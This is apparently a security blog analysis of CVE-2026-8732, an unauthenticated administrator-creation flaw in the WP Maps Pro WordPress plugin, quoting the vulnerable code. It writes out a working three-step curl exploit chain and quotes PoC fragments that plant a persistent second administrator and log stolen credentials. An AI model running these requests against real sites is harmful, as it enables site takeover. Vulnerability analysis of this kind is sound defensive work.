//nefariousplan

CVE-2026-8732: WP Maps Pro's Temp-Access Endpoint Creates Administrators. The Vendor's Email Is Hardcoded.

patterns

cve

proof of concept

WP Maps Pro 6.1.0 ships a handler called wpgmp_temp_access_ajax_callback. The handler is registered via wp_ajax_nopriv_wpgmp_temp_access_ajax, callable without a session. Its first action is check_ajax_referer( 'fc-call-nonce', 'nonce' ). Its second action is to construct a WordPress administrator whose email is hardcoded as support@flippercode.com and return a magic login URL the caller can browse to.

The fc-call-nonce value is printed inline on every public page of the site as the nonce field of the wpgmp_local JavaScript object. CVE-2026-8732 is the chain a visitor walks from the homepage of an affected site to a wordpress_logged_in_* cookie tied to a freshly minted administrator account that carries the plugin vendor's support email.

The is_admin() wrapper is not a check

The hook registration in wp-google-map-gold.php:

if ( is_admin() ) {
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',
                [ $this, 'wpgmp_temp_access_ajax_callback' ] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax',
                [ $this, 'wpgmp_temp_access_ajax_callback' ] );
}

The is_admin() guard reads defensively. It is not. is_admin() in WordPress returns true for any request that lands on /wp-admin/admin-ajax.php, regardless of whether the caller is authenticated. The function asks "is the code running in the admin area," not "is the caller an administrator." The condition is satisfied by anyone hitting the AJAX endpoint, which is precisely what wp_ajax_nopriv_ is designed to route to. This is one of the older WordPress footguns: a defensive-looking name attached to a function that does not check the property its name suggests.

So the registration block runs on every admin-ajax request, and inside it, the second add_action declares that wpgmp_temp_access_ajax_callback should handle the request when there is no logged-in user. This is the WordPress idiom for "expose this handler to anonymous callers." The plugin reaches for it by name.

The handler body, in the same file:

function wpgmp_temp_access_ajax_callback() {
    check_ajax_referer( 'fc-call-nonce', 'nonce' );
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json( $response );
}

check_ajax_referer calls wp_verify_nonce under the hood. There is no is_user_logged_in() and no current_user_can() before or after. The nonce check is the only gate. The handler then instantiates a class called WPGMP_Temp_Access and invokes wpgmp_temp_access_support. The names are honest about what the feature is.

The nonce is on every public page

wp_localize_script is the WordPress mechanism for passing PHP values into a JavaScript context. When the plugin's main frontend script enqueues, the plugin emits an inline <script> block defining the wpgmp_local object. From classes/wpgmp-helper.php:

$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

The script is enqueued on every frontend page that the plugin considers map-relevant: any page or post that embeds a map widget, the homepage if the theme renders a map in its header, the blog feed depending on theme. On a site running WP Maps Pro the script is, in practice, on most pages. The PoC's nonce-harvest worker checks the homepage, contact pages, sitemap entries, the WordPress REST API listing of posts and pages, the RSS feed, and a brute-force range of ?p=N and ?page_id=N query strings. The exhaustive crawl is overkill in most cases; the nonce is usually on the front page.

wp_create_nonce( 'fc-call-nonce' ) against an unauthenticated request computes the nonce for WordPress user ID 0, the anonymous identity. The check_ajax_referer call in the handler runs against the same user ID 0 with the same action string. The two values match. The check returns 1.

WordPress nonces are CSRF tokens. They prove a request was minted by this server for this action within the last 24 hours. They do not prove anything about who minted it. The pattern this exhibits has its own catalog page and seven prior posts before this one, including the canonical walk-through on Pix for WooCommerce, the inline-nonce variant on midi-Synth, and the two-character check_ajax_referer patch on vczapi for Zoom. WP Maps Pro 6.1.0 is the eighth exhibit. What this exhibit adds is described below.

The handler creates an administrator. With the vendor's email.

Inside WPGMP_Temp_Access::wpgmp_temp_access_support, from classes/wpgmp-temp-access.php:

if ( isset( $_POST['check_temp'] ) && $_POST['check_temp'] == 'false' ) {
    $username = 'fc_user_' . uniqid();
    $email    = 'support@flippercode.com';
    $role     = 'administrator';

    $result = self::fc_create_new_user( $username, $email, $role );

    if ( is_numeric( $result ) ) {
        $access_link = self::generate_login_link( $result );
        $response['url'] = $access_link;
    }
}

Three of these four lines are constants in the plugin source. The username prefix is fc_user_, a literal string concatenated with uniqid(). The email is the literal string support@flippercode.com. The role is the literal string administrator. The caller supplies one byte of meaningful input, the check_temp POST field, set to 'false'. Every other input the function uses is hardcoded.

fc is the vendor abbreviation. The plugin is published by Flippercode, since rebranded to WePlugins, but the source still ships under the fc-* and wpgmp_* namespaces from the Flippercode era. support@flippercode.com is the vendor's support inbox. fc_user_* is the username convention the vendor's own support team is intended to use when logging into customer sites.

This is the design of the feature, made literal in the code: a customer files a support ticket, the support technician needs administrator access on the customer's site to investigate, the technician hits wpgmp_temp_access_ajax?check_temp=false, the plugin creates a temporary administrator account labeled fc_user_<uniqid> with the support team's email, and returns a single-use-looking URL the technician can browse to. The feature is a vendor-support backdoor by design, not by accident.

The function is fc_create_new_user and it calls wp_insert_user underneath. The account is real. It persists in wp_users. It carries the administrator role in wp_usermeta. It survives the request, the session, the page reload, and the plugin's deactivation.

The magic URL replaces the session

generate_login_link returns a URL of the shape https://target.com/wp-admin/?wpgmp_token=<128-hex>. The token is stored on the user record. The plugin's init hook reads $_GET['wpgmp_token'] on every request:

function wpgmp_access_token_check() {
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token( $wpgmp_access_token );
    }
}

Inside get_valid_user_based_on_wpgmp_token:

wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );
wp_safe_redirect( admin_url() );

wp_set_auth_cookie writes the wordpress_logged_in_* cookie tied to the fc_user account. The browser holds that cookie. The redirect lands on /wp-admin/. The user-agent and IP that browsed to the magic URL are now an administrator of the WordPress site for the lifetime of the cookie, which is fourteen days by default. The full request sequence from a cold visitor:

# Step 1: harvest the nonce from any public page.
curl -s 'https://target.com/' \
  | grep -oE 'wpgmp_local\s*=\s*\{[^}]*"nonce":"[a-f0-9]+"' \
  | grep -oE '[a-f0-9]{8,15}'
# 7a1f3d8b2c

# Step 2: create the administrator.
curl -s -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=wpgmp_temp_access_ajax' \
  -d 'nonce=7a1f3d8b2c' \
  -d 'check_temp=false'
# {"url":"https://target.com/wp-admin/?wpgmp_token=8c4a...<128 hex>"}

# Step 3: redeem the magic URL and capture the auth cookie.
curl -s -c cookies.txt -L 'https://target.com/wp-admin/?wpgmp_token=8c4a...'
# 200, redirected to /wp-admin/, cookies.txt now contains
# wordpress_logged_in_<hash>=fc_user_<uniqid>|...

The PoC ends this phase by verifying that GET /wp-admin/users.php returns 200 with no redirect to wp-login.php. The verification is mechanical. Once the cookie is set, WordPress treats the holder as the administrator the cookie names.

The cleanup endpoint shows the loop the vendor intended

The handler accepts a second value for check_temp. From the PoC's cleanup_fc_user:

sess.post(base + "/wp-admin/admin-ajax.php",
    data={"action": "wpgmp_temp_access_ajax",
          "nonce": nonce,
          "check_temp": "true"})

When check_temp=true, the handler removes the existing fc_user_* account. The PoC scanner calls cleanup before every exploitation attempt because the create branch fails with an "email already exists" error if a previous fc_user has not been removed, which happens when another attacker, or the real Flippercode support team, has been on the site recently and not called cleanup.

The cleanup branch is testimony. The vendor's intended workflow is "create the temp admin, do the work, call cleanup to remove the account." The endpoint exists because the vendor designed for it to be called. The same endpoint the PoC uses to clear traces is the endpoint Flippercode's support team is expected to call when a ticket closes. This is trust-inversion at the vendor-customer boundary: the path the customer trusts the vendor to walk (file a ticket, get help, walk away) is, byte for byte, the path an unauthenticated visitor walks to install themselves as administrator. The control plane the vendor built for their own access is the control plane the attacker uses.

An attacker is not required to call cleanup. The PoC explicitly does not, after the exploitation succeeds: the magic URL has been used, the auth cookie has been set, the fc_user account remains in the database. After CVE-2026-8732 exploitation, every affected site carries a persistent WordPress administrator whose email is support@flippercode.com. A site owner auditing the users page weeks later sees a user with the vendor's email and a vendor-conventional username prefix and is likely to read the account as legitimate vendor support.

The second administrator is the persistence

The PoC's final phase, run from inside the new admin session, calls the WordPress REST API to create a second administrator:

r = sess.post(
    f"{base}/wp-json/wp/v2/users",
    headers={"X-WP-Nonce": rest_nonce, "Content-Type": "application/json"},
    json={"username": uname, "password": pwd, "email": email,
          "roles": ["administrator"]},
)

This step uses the standard WordPress REST API with the admin's session and a rest-nonce minted for that session. There is no vulnerability in this step. It is the operator's persistence move: even if the site owner notices fc_user_* and removes it, the secondary shadow_* account remains, with credentials the operator chose and saved to a local pwned.txt file. The cleanup the vendor designed for their own support workflow does not touch the second admin.

The output format is fixed in the PoC:

1.
=======================================================
Target    : https://target.com/wp-admin/
User      : shadow_xxxxx
Pass      : Xk9#mQ2pLrTv8nYw
Email     : xxxxx@xxxx.com
Magic     : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookies :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

Two administrator credentials per compromised site, one cookie, one magic URL, one numbered record per host, written with append-only semantics so the file grows across runs. The author's display name on the PoC is "shadow ♡ & friska." The username prefix for the persistence step is shadow_*. The output file is pwned.txt. The architecture is a 1-to-50 thread pool against a target list, with a parallel nonce crawler that hits the REST API, the sitemap, the RSS feed, and a ?p=N enumeration before falling back. None of these are the choices of a researcher reproducing a single finding.

What WP Maps Pro adds to the catalog

The nonce-is-not-auth pattern has been documented through Pix for WooCommerce, midi-Synth, vczapi for Zoom, DnD Multiple File Upload for CF7, and ScriptCase. The structural shape is constant: a handler registered via wp_ajax_nopriv_*, a check_ajax_referer or wp_verify_nonce call at the top, no current_user_can, a privileged operation in the body. The nonce confirms the caller could read a page on this server. The handler reads it as confirming who the caller is.

WP Maps Pro is the eighth exhibit, and the mechanism is the catalog's standard mechanism. What this exhibit adds is the explicit intent of the privileged operation. The Pix for WooCommerce handler wrote uploaded files to a webroot certificate directory; the developer's stated intent was certificate management, not admin account creation, and the file-write-to-execution-path was the unintended consequence. The WP Maps Pro handler creates an admin account; the developer's stated intent was admin account creation. The privilege escalation is not a side effect. It is the function the handler was written to perform.

A handler whose entire purpose is to grant administrator-level access cannot be made safe by gating it with a CSRF token. The CSRF token's job is to confirm the request originated from a page this server served. Every page this server serves contains the token. The set of callers who can present the token is the set of visitors who can load any frontend page. The set of visitors who can load any frontend page is the set of visitors who can reach the site. The CSRF token, applied to an administrator-creation endpoint, gates exactly one thing: that the caller has visited the site once.

The plugin source is not in the WordPress.org repository; WP Maps Pro is sold under a commercial license, and the temp-access feature lives in the paid release rather than the free wp-google-map-gold slug. The patched version, per the PoC's README and the Wordfence advisory citation, is 6.1.1. Whether 6.1.1 deletes the feature or adds an authentication step that prevents the feature's original use, the patch is an admission that the design was a backdoor: the only way to make this endpoint safe is to break the workflow that justified writing it.

PoC: xShadow-Here/CVE-2026-8732

The feature does exactly what the vendor designed it to do. The vendor designed it to issue administrator credentials to whoever asks.